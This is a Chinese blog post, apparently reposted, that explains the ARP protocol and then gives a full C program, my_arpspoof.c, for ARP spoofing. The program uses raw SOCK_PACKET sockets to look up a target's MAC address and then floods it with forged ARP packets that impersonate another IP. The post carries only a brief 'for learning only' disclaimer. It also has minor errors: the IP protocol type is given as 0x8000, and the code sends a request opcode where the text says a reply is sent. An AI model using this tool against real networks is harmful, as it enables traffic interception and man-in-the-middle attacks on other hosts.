自制简单ARP欺骗小工具

来源:互联网 发布:手机淘宝appswot分析 编辑:程序博客网 时间:2024/06/12 01:25

  在WireShark协议分析的学习过程学习了ARP协议的数据包格式,所以准备自制一个小小的ARP欺骗工具。在制作该工具前需要掌握如下知识:
  

一、ARP协议内容

  ARP(Address Resolution Protocol)协议的基本功能是通过IP地址找到对应的硬件地址,ARP协议的工作过程是(假设A主机(IP:192.168.1.110、MAC:0A:11:22:33:44:01)要和B主机(IP:192.168.1.120、MAC:0A:11:22:33:44:02)进行通信):

  1、A主机在自己的ARP缓存中查找是否有B主机的ARP缓存。
  2、如果主机A在ARP缓存中没有找到映射,它将询问192.168.1.120的硬件地址,从而将ARP请求帧广播到本地网络上的所有主机。源主机A的IP地址和MAC地址都包括在ARP请求中。本地网络上的每台主机都接收到ARP请求并且检查是否与自己的IP地址匹配。如果主机发现请求的IP地址与自己的IP地址不匹配,它将丢弃ARP请求。
  3、主机B确定ARP请求中的IP地址与自己的IP地址匹配,则将主机A的IP地址和MAC地址映射添加到本地ARP缓存中。
  4、主机B将包含其MAC地址的ARP回复消息直接发送回主机A。
  5、当主机A收到从主机B发来的ARP回复消息时,会用主机B的IP和MAC地址映射更新ARP缓存。本机缓存是有生存期的,生存期结束后,将再次重复上面的过程。主机B的MAC地址一旦确定,主机A就能向主机B发送IP通信了。

  ARP协议的内容如下:
  
以太网传输层

  • 目标以太网地址:目标MAC地址。ff:ff:ff:ff:ff:ff 为广播地址。
  • 源以太网地址:发送方MAC地址。
  • 帧类型:以太类型,ARP为0x0806。

以太网报文数据

  • 硬件地址类型:如以太网(0x0001)、分组无线网。
  • 协议地址类型:如网际协议(0x8000)、IPv6(0x86DD)。
  • 硬件地址长度:每种硬件地址的字节长度,一般为6。
  • 协议地址长度:每种协议地址的字节长度,一般为4。
  • 操作码:1为请求,2为回显。
  • 源硬件地址:n个字节,n由硬件地址长度得到,一般为发送方MAC地址。
  • 源协议地址:m个字节,m由协议地址长度得到,一般为发送方IP地址。
  • 目标硬件地址:n个字节,n由硬件地址长度得到,一般为目标MAC地址。

如下图:
ARP协议报文格式图

二、获取本机硬件地址

  在Linux下获取本机的MAC地址可以使用ioctl函数实现,该函数的声明如下:

#include <sys/ioctl.h>
int ioctl(int d, int request, …);

  利用该函数可以获取到一些硬件信息,具体取决于request和其后的变参列表的组合,这里我们使用SIOCGIFHWADDR和struct ifreq该结构体的组合来获取本机的MAC地址。使用方法如下:

ioctl(sock_fd, SIOCGIFHWADDR, &ethinfo);

  sock_fd是我们实现打开的一个文件描述符,ethinfo是一个struct ifreq类型的变量,函数调用成功之后会将MAC地址存入数组ethinfo.ifr_hwaddr.sa_data中。

三、通过socket直接操作数据链路层数据

  Linux下直接通过socket操作数据链路层数据可以 socket创建文件描述符的时候传入SOCK_PACKET参数选项,然后通过sendto和recvfrom系统调用分别向绑定的网卡上发送和接收数据。具体使用见程序。

四、程序实现过程

  程序运行时需要指定三个命令行参数,分别是所使用的网卡设备、所要欺骗的目标IP,伪装的IP,如:./my_arpspoof eht0 192.168.1.1 192.168.1.109 表示告诉192.168.1.1我是192.168.1.109。

  1、获取本机MAC地址,构建ARP请求包,向所要欺骗的目标IP发送ARP请求包用来获取其MAC地址。
  2、构建ARP回应包,填入伪装IP和自己的MAC地址发送给上一步获取的MAC地址。
  3、不断循环发送第二步构建的ARP数据包,使得对方主机处于持续接收我虚假ARP回应包的状态。

五、代码实现

/*************************************************************************    > File Name: my_arpspoof.c    > Author: Jung    > Mail: jungzhang@xiyoulinux.org    > Created Time: 2016年08月02日 星期二 08时02分14秒    > Description: ************************************************************************/#define _GNU_SOURCE#include <stdio.h>#include <stdlib.h>#include <string.h>#include <sys/types.h>#include <sys/ioctl.h>#include <net/if.h>#include <netinet/in.h>#include <sys/socket.h>#include <arpa/inet.h>#include <net/ethernet.h>#include <unistd.h>//获取本机MAC地址,存入mac数组中,要求传入网卡名字int getMacAddr(unsigned char mac[], const char name[]){    struct ifreq ethinfo;    int sock_fd;    if (name == NULL || mac == NULL) {        return -1;    }    if ((sock_fd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {        perror("Open Socket");        return -1;    }    strcpy(ethinfo.ifr_name, name);    if (ioctl(sock_fd, SIOCGIFHWADDR, &ethinfo) < 0) {        perror("Ioctl");        return -1;    }    for (int i = 0; i < 6; ++i) {        mac[i] = (unsigned char)ethinfo.ifr_hwaddr.sa_data[i];    }    close(sock_fd);    return 1;}//构建ARP数据包void packarp(char *mymac, char *tarmac, int *tarip, int *myip, char *opcode, char *arppack){    char eth_type[2] = {0x00,0x01};   //硬件类型,以太网为1    char por_type[2] = {0x08,0x00};     //ARP正在使用的上层协议类型,这里是IP协议    char type[2] = {0x08, 0x06};        //帧类型,0x0806表示ARP    char eth_length = 6;        //硬件地址长度    char por_length = 4;        //协议地址长度,这里指IP协议    memset(arppack, 0, 42);                 //清空发送缓存区    memcpy(arppack, tarmac, 6);             //6个字节表示目标主机的mac地址    memcpy(arppack + 6, mymac, 6);          //6个字节表示源主机的mac地址    memcpy(arppack + 12, type, 2);         //帧类型,这里表示ARP    memcpy(arppack + 14, eth_type, 2);    //硬件地址,这里表示以太网    memcpy(arppack + 16, por_type, 2);      //ARP正在使用的上层协议    memcpy(arppack + 18, &eth_length, 1);   //硬件地址长度    memcpy(arppack + 19, &por_length, 1);   //协议地址长度    memcpy(arppack + 20, opcode, 2);        //标记是ARP还是ARP应答    memcpy(arppack + 22, mymac, 6);          //发送者MAC地址    memcpy(arppack + 28, myip, 4);          //发送者IP    if (!(opcode[0] == 0x00 && opcode[1] == 0x01)) {        memcpy(arppack + 32, tarmac, 6);        //目标MAC地址    }    memcpy(arppack + 38, tarip, 4);         //目标IP地址}int main(int argc, char *argv[]){    char mymac[6] = {0};    char tarmac[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff};    char recvarp[42] = {0};    char sendarp[42] = {0};    int tarip;    int myip;    char opcode[2];    int sock_fd;    struct sockaddr addr;    if (argc < 4) {        return EXIT_FAILURE;    }    //获取本机MAC地址    if (getMacAddr(mymac, argv[1]) < 0) {        printf("获取MAC地址失败\n");        return EXIT_FAILURE;    }    myip = inet_addr(argv[3]);    tarip = inet_addr(argv[2]);    opcode[0] = 0x00;    opcode[1] = 0x01;    packarp(mymac, tarmac, &tarip, &myip, opcode, sendarp);    if ((sock_fd = socket(AF_INET, SOCK_PACKET, htons(ETH_P_ARP))) < 0) {        perror("Open Socket");        return EXIT_FAILURE;    }    memset(&addr, 0, sizeof(addr));    strncpy(addr.sa_data, argv[1], sizeof(addr.sa_data));    socklen_t len = sizeof(addr);    while(1) {        if (sendto(sock_fd, sendarp, 42, 0, &addr, len) == 42) {            printf("发送ARP包成功\n");        } else {            perror("sendto");            return EXIT_FAILURE;        }        if (recvfrom(sock_fd, recvarp, 42, 0, &addr, &len) == 42) {            if (!memcmp((void *)recvarp + 28, (void *)sendarp + 38, 4)) {                memcpy(tarmac, recvarp + 22, 6);                printf("获取MAC地址成功\n");                break;            }        }        sleep(1);    }    opcode[0] = 0x00;    opcode[1] = 0x01;    packarp(mymac, tarmac, &tarip, &myip, opcode, sendarp);    while(1) {        if (sendto(sock_fd, sendarp, 42, 0, &addr, len) == 42) {            printf("发送ARP欺骗包成功\n");        } else {            perror("sendto");            return EXIT_FAILURE;        }        sleep(1);    }    close(sock_fd);    return EXIT_SUCCESS;}

至此,一个简单的ARP欺骗工具就制作完成了(仅供交流学习使用)。

1 0